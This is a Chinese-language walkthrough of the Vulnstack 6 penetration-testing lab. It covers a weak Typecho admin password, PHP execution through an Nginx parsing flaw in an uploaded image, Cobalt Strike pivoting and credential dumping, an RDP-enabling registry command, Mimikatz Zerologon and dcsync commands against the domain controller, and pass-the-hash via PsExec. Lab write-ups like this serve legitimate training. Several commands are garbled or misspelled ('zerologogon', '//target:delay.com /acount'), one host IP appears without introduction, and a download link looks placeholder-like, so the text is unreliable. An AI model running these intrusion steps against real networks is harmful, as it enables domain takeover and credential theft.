该靶场(Vulnstack 6)模拟真实的内外网环境,包含 Web 域服务器与域控。涵盖 Typecho 漏洞利用、Nginx 解析缺陷、内网信息收集及横向移动,重点展示 Zerologon(CVE-2020-1472)等域渗透实战技术。
文章目录
- 靶场简介
- 网络拓扑结构
- 靶场环境搭建
- 网络配置
- http服务配置(必看)
- 数据库配置(必看)
- 信息收集
- 开放的端口以及服务
- Web服务器渗透
- Typecho CMS反序列化
- Typecho CMS弱口令(成功)
- 通过 Nginx解析漏洞(成功)
- 内网横向
- CS上线服务器
- 抓取明文密码
- CS搭建代理隧道
- socks代理对已知内网段进行探测
- 后渗透:提权
- RDP登陆后,进行Zerologon测试
- 通过PTH将域控服务器上线到Cobalt Strike
- 总结
靶场简介
网络拓扑结构
在Vulnstack6环境,我们将对由2台目标主机组成的纯Windows主机构成
的内外网环境进行安全实验分析,该环境网络拓扑如下图所示:
由一台Web域内服务器以及一台域控主机组成:
测试路径大概如下图:
Kali测试Web跳板机(Typecho)↓ 建立C2通道(Beacon会话)↓ 内网横向移动(访问内网/发现域控)↓ 利用Zerologon(CVE-2020-1472)获取权限域控靶场环境搭建
其实红日靶场6还提供了一个linux设备,不过这个机器开启后没有扫到任何端口号,而红日靶场6未提供任何密码;
- 又因为本关卡的终极目标其实是获取域控权限,从Web服务器还需要修复来看,这个设备应该也是有些问题的,故而忽略即可。
首先我们将靶机导入VMware里,并分别配置其网络:
- NAT网段:
192.168.44.0/24 - 内网网段:
10.10.10.0/24
web服务器配置NAT网段以及内网网段:
域控DC则只配置内网网段:
随后我们进入Web服务器,返回快照V3.2,如下:(两种方法二选一)
随后输入账号密码:web\de1ay /1qaz!QAZ1qaz!QAZ
网络配置
我们首先要自动获取之前配置的两个网卡设置:网络-更改适配器-配置ipv4,改为自动获得地址:
设置完成后查看IP地址,成功:
# 查看ip地址ipconfig# 如果失败ipconfig /renewhttp服务配置(必看)
随后进入用户文件夹,打开PHPstudy的Web服务:
尝试开启,却发现被占用?
那我直接修改端口以及文件的路径:
- 80端口修改为
8081端口 - C:/phpstudy_pro/WWW 修改为
C:/phpstudy_pro/WWW/typecho
访问 http://192.168.44.136:8081/ ,数据库也有问题?
数据库配置(必看)
检查配置文件,两者均没问题:
难道是这个数据库根本没有导入?
这里我在本地用数据库工具连接一下进行查看:
可以看到并没有typecho这个数据库;
(1)那我们就创建一个名为typecho的数据库:
(2)删掉网站根目录下的整个typecho原有目录。下载新的源码(typecho.tar.gz):
- 官方链接:<https://github.com/typecho/typecho/releases?page=2>- 百度网盘:<https://pan.baidu.com/s/1Z9G8aX7k8y7h9j8k7l6m5n4b3v2c1x0>- 提取码:vuln(3)解压后放到网站根目录,将新的源码目录(build)重命名为typecho
(4)安装typecho,访问 http://192.168.44.136:8081/install.php 安装
(5)数据库密码填入默认密码root,管理员用户为默认的admin,密码admin
管理员设置:
成功安装:
(6)访问首页,效果如下:
注意上述步骤后,建议拍摄快照留存,避免出现错误重新搭建浪费时间;
信息收集
开放的端口以及服务
好了,现在开始进行内网渗透,这里我对Web服务器进行扫描,看其开放了哪些端口以及服务:
nmap的扫描结果:
我们发现目标主机的8081端口开放的Web服务可能为http应用,下面就尝试利用Web目录枚举来获取更多信息:
python dirsearch.py-u<http://192.168.44.136:8081/># 保留有效响应码python dirsearch.py-u<http://192.168.44.136:8081/>-i200,301,302,403结果如下:
可以看到系统有三个可访问目录,经过测试只有/admin/login.php有效:
我们重新回到页面,发现当前框架存在一个admin用户发布的评论:
Web服务器渗透
Typecho CMS反序列化
由于我们知道当前服务搭建的是Typecho框架。而Typecho框架存在着如下漏洞:
Typecho反序列化漏洞,影响版本为Typecho1.0(14.10.10),前端install.php文件存在反序列化漏洞,可通过构造的反序列化字符串注入执行任意PHP代码;
- 可以去网上找相应的typecho脚本进行检测;
很显然并不存在相应漏洞:
Typecho CMS弱口令(成功)
Typecho是一个开源的CMS。通过对源码结构分析可得到Typecho的后台地址为 http://192.168.44.136:8081/admin/ ,访问该地址:
- 网址默认存在了admin用户,但不知道密码;
- 测试是否存在SQL注入;
- 测试方法:BP抓包 / sqlmap撞库都可以 ;
这里我使用BP弱口令测试:
最后发现密码为admin登陆进入后台:
通过 Nginx解析漏洞(成功)
漏洞原理讲解:
- 由于该站点框架使用phpStudy搭建,且中间件为Nginx,所以该站点可能存在phpStudy Nginx解析漏洞
- 可以通过Typecho CMS后台的上传功能来上传存在PHP代码的图片
(1)这里我们随便打开一张图片,并在最后添加:phpinfo()
(2)将图片拖入评论框内,记住它的路径:http://192.168.44.136:8081/usr/uploads/2026/03/2084003259.png
(3)随后访问网址,测试漏洞:
如果这里失败,是因为你打开的服务是Apache而不是Nginx:
(4)随后重新制作一张图片,上传脚本工具,获取Web服务器的权限:http://192.168.44.136:8081/usr/uploads/2026/03/1827645085.jpg/1.php
输入密码后,成功进入页面:
执行命令后:web\de1ay
并且通过执行命令,发现Web服务器有两张网卡,也就是两个网段;
内网横向
CS上线服务器
上述我们控制了Web服务器,接下来我们可以将其上线到MSF或者CS(建议熟练运用二者)
这里我使用CS(MSF之前用来好多次了,换换手感):
(1)首先通过Cobal Strike的Attacks模块生成Windows Payload:
(2)随后通过脚本工具上线并执行:
抓取明文密码
(1)提取到SYSTEM权限后,使用CS的插件来抓取Web服务器的密码:
得到密码为:1qaz!QAZ1qaz!QAZ
(2)还发现了内网另一台主机:10.10.10.10
CS搭建代理隧道
虽然我搭建过很多代理隧道,但用CS还是第一次,所以记录一下;
点击SOCKS Server,SOCKS代理端口设置如下:
命令:socks 4187
等待CS命令执行完成,即可得到一个SOCKS代理192.168.44.129:4187
socks代理对已知内网段进行探测
这里借助CS自带的端口扫描功能对内网网段进行探测:(上一节也演示过)
10.10.10.0/24网段中的存活主机有10.10.10.10
- 而10.10.10.10开放53、88、135、139、389、445、464、593、636、5985端口。
- 由于10.10.10.10开放389端口,我们推测10.10.10.10为`域控服务器
设置好后,我们用proxifier等工具进行信息收集:
想了解更多Windows搭建socks代理的方法,可以看:VulnStack-4靶场内网横向解析(Struts2,Tomcat,phpmyadmin漏洞利用,Dockers容器逃逸,Socks代理内网,PTH横向)
结果如图:
10.10.10.10的445端口标题显示该服务器主机名为DC.de1ay.com(Domain:de1ay.com),故该台服务器10.10.10.10为de1ay.com的域控服务器
后渗透:提权
RDP登陆后,进行Zerologon测试
将借助Mimikatz对域控服务器进行Zerologon漏洞测试,再利用PTH攻击将域控服务器上线CS。
相应文章:VulnStack-3内网靶场横向提权详细教程(Joomla框架,MySQL日志注入,socks代理,PTH获取NTLM,Zerologon获取DC权限)
在前面关于获取Typecho服务器保存的系统凭证的相关内容中已经获得了10.10.10.27服务器的明文密码de1ay/1qaz!QAZ1qaz!QAZ
所以可以通过CS开启10.10.10.27的3389端口,再通过本地SOCKS代理登录10.10.10.27
也可以用命令:
shell regadd"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server"/v fDenyTSConnections /t REG_DWORD /d0/f&&netsh advfirewall firewallsetrulegroup="远程桌面"newenable=yes结果如下:
随后,在本地PC上使用“win+r”调出运行窗口,在运行窗口中输入“mstsc”,即可使用RDP客户端:
输入账号密码:WEB\de1ay/1qaz!QAZ1qaz!QAZ
成功开启远程桌面:
随后将mimikatz.exe上传到Web服务器,然后进行Zerologon漏洞测试:
后面的部分与VulnStack-3靶场一模一样:
(1)在Mimikatz命令行中执行如下命令,探测域控是否存在Zerologon漏洞:
# 先提升权限(必做)privilege::debug token::elevate lsadump::zerologogon /target:10.10.10.10 /account:DC$ /exploit存在漏洞:
(2)将域控管理员密码置为空:
lsadump::dcsync /domain:de1ay.com /dc:DC.de1ay.com /user:administrator /authuser:DC$ /authdomain:de1ay /authpassword:""/authntlm成功得到域控的NTLM哈希为:dc044e0908498f7c475ae50bd70da92c
(3)通过浏览器访问 https://www.cmd5.com 网址,解密这串Hash值:
(4)最后在Mimikatz命令行中执行如下命令恢复域控密码
lsadump::post zerologogon //target:delay.com /acount:DC$通过PTH将域控服务器上线到Cobalt Strike
在获得域控服务器的账号和密码后,我们可以通过CS的PsExec功能将域
控服务器上线到CS。
(1)要通过PsExec功能将域控服务器上线到CS,首先需要将域控服务器的明文凭证导入CS中。
点击凭证界面的Add,出现添加凭证界面。将域控服务器的明文凭证填入其中;
(2)因为域控服务器无法出网,所以要先建立一个中转监听。右击10.10.10.27会话,选择Pivoting→Listener,建立一个中转监听:
(3)开始对域控服务器进行PTH,选择CS的View→Targets进入CS的Targets界面。
在psexec64界面选择域控凭证,并且选择我们刚才建立的中转监听;
待psexec64界面配置完成后,点击Launch,域控服务器上线到CS,用户权限为SYSTEM:
总结
所用到的技术总结:
- Typecho CMS漏洞测试:利用Typecho CMS反序列化漏洞进行攻击。
- 弱口令测试。对Typecho CMS的登录框进行弱口令测试。
- phpStudy Nginx解析漏洞测试:通过弱口令登录Typecho CMS,在Typecho CMS后台上传图片,再利用phpStudy Nginx解析漏洞将图片以PHP文件的形式解析,从而获取Typecho CMS服务器权限。
- Zerologon漏洞测试:利用Zerologon验证域控安全脆弱性,从域控服务器获得域管理员权限 / 明文密码。
- 通过PTH使域控服务器上线CS:获取域控服务器内密码后,通过PTH将控域服务器上链CS。
大体与
VulnStack-3靶场相似,期待下次再见;